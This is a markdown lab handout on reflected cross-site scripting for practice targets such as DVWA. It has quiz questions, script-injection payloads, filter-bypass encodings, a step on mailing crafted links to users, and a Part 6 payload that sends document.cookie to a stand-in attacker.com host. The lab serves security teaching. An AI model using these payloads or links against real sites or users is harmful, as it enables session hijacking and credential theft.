Skip to content

lab10.md

Latest commit

 

History

History
157 lines (107 loc) · 6.88 KB

lab10.md

File metadata and controls

157 lines (107 loc) · 6.88 KB
Raw

Lab 10 - Reflected Cross-Site Scripting (XSS) Attacks

Objective:
This lab will guide students through the process of identifying and exploiting Reflected Cross-Site Scripting (XSS) vulnerabilities. By manipulating web application input, attackers can inject malicious code (usually JavaScript) into the responses sent to the browser, potentially compromising user security. Students will learn to recognize different types of XSS and explore mitigation techniques.

Background / Scenario:

Reflected XSS occurs when an attacker tricks a user into clicking a malicious link that sends data to a vulnerable web application. The server processes the data and reflects it back to the user without proper validation, executing malicious scripts in the victim's browser. This can lead to session hijacking, data theft, or even defacement of websites.

Required Resources:

  • Internet access
  • A web browser with developer tools
  • A vulnerable web application or XSS testing environment such as DVWA or OWASP Juice Shop

Instructions:

Part 1: Understanding Reflected XSS

  1. What is Reflected XSS?
    Reflected XSS occurs when an application includes user input in its response without properly escaping or validating the content.
    • Example: An attacker sends a phishing link such as:
      https://vulnerable.app/search?q=<script>alert('XSS')</script>
      When clicked, this link causes the server to reflect the malicious script in its response, which is executed by the victim's browser.

  1. Question 1:
    The IT help desk received a report from an employee about a suspicious email with a phishing link asking users to visit a website. Upon investigation, the phishing link contains malicious code that will be reflected back by the web server.
    Which type of attack would occur if users click the phishing link?

    • A) HTTP parameter pollution
    • B) Reflected Cross-Site Scripting
    • C) Stored Cross-Site Scripting
    • D) Cross-Site Request Forgery

Part 2: Simulating a Reflected XSS Attack

  1. Testing a Search Input for Reflected XSS:

    • Open the vulnerable web application and navigate to the search page.
    • In the search input field, enter a payload like:
      <script>alert('XSS')</script>
    • Submit the form and observe the response.
    • Did the application reflect the malicious script back into the page without escaping it?

    Question 2: What happened when you submitted the script?

    • Did the browser display a pop-up alert?
    • What would be the implications if this was a real attack?

Part 3: Crafting Malicious URLs for Phishing

  1. Creating a Malicious URL:

    • Try crafting a URL that contains an XSS payload, such as:
      https://vulnerable.shop/search?q=<script>alert('XSS')</script>
    • Send the URL to yourself or another user.
    • When the link is clicked, does the malicious script execute?

    Question 3: What happens when the link is clicked?

    • Does the victim’s browser execute the malicious JavaScript?

Part 4: Bypassing Basic Filters

  1. Escaping Filters:
    Some web applications attempt to filter out malicious input by blocking certain characters or keywords.

    • Try using obfuscation techniques to bypass these filters. For example, use:
      "<scr"+"ipt>alert('XSS')</scr"+"ipt>"
    • Or, encode the script using URL encoding:
      https://vulnerable.shop/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E

    Question 4: Were you able to bypass any filters in place?

    • Explain how encoding or obfuscation helped circumvent the security mechanisms.

Part 5: Reflected XSS in Query Parameters

  1. Testing Query String Parameters:

    • Many web applications pass user data in the query string. Test for reflected XSS vulnerabilities by tampering with these parameters.
    • Example:
      https://example.com/login?redirect=<script>alert('XSS')</script>

    Question 5: What did you find when manipulating the query string?

    • Were you able to inject and execute JavaScript code?

Part 6: Exploiting XSS for Data Theft

  1. Stealing Cookies via XSS:
    Attackers can use XSS vulnerabilities to steal session cookies from users. Modify your XSS payload to send cookies to an external server by using a script like:

    <script>new Image().src="http://attacker.com/steal.php?cookie="+document.cookie;</script>
    • When the victim clicks the malicious link, their session cookies will be sent to the attacker’s server.

    Question 6:

    • Explain how XSS can be used to steal cookies and hijack sessions.
    • What steps would an attacker take after stealing cookies to gain unauthorized access?

Part 7: Bonus Challenge - Reflected vs Stored XSS

  1. Understanding Stored XSS:
    In contrast to reflected XSS, stored XSS occurs when malicious scripts are permanently stored on a server (e.g., in a database) and served to users without proper validation. Try to find an input field that allows you to inject and store malicious scripts, such as a comment or review section.

    Question 7: What is the key difference between Reflected XSS and Stored XSS?
    (Choose one.)

    • A) Reflected XSS targets the database, stored XSS targets the browser.
    • B) Reflected XSS is temporary, stored XSS is persistent.
    • C) Reflected XSS attacks a server, stored XSS attacks a client.

Mitigation Techniques for Reflected XSS

  1. Research XSS Prevention:
    Conduct research on how web developers can prevent reflected XSS.
    • What are the common strategies for sanitizing and validating input before including it in a server response?
    • How does Content Security Policy (CSP) help in reducing the impact of XSS?

  1. Question 8: What are the three main strategies for mitigating XSS attacks?
    (Choose all that apply.)

    • A) Input validation and output encoding
    • B) Encrypting URL parameters
    • C) Enforcing Content Security Policy (CSP)
    • D) Disabling JavaScript in the browser
    • E) Implementing secure cookie attributes

Reflection Questions

  • Question 9: What are the most common sources of user input that attackers target when attempting XSS attacks (e.g., search fields, form submissions, query parameters)?

    • Explain why these sources are vulnerable and how they can be secured.

  • Question 10: How does browser security play a role in preventing or mitigating XSS attacks, and what additional defenses can be implemented at the client-side?

Lab Conclusion:

In this lab, students explored the workings of Reflected XSS and how attackers exploit these vulnerabilities to inject and execute malicious code. By understanding the techniques attackers use, students will be better equipped to identify and defend against these vulnerabilities.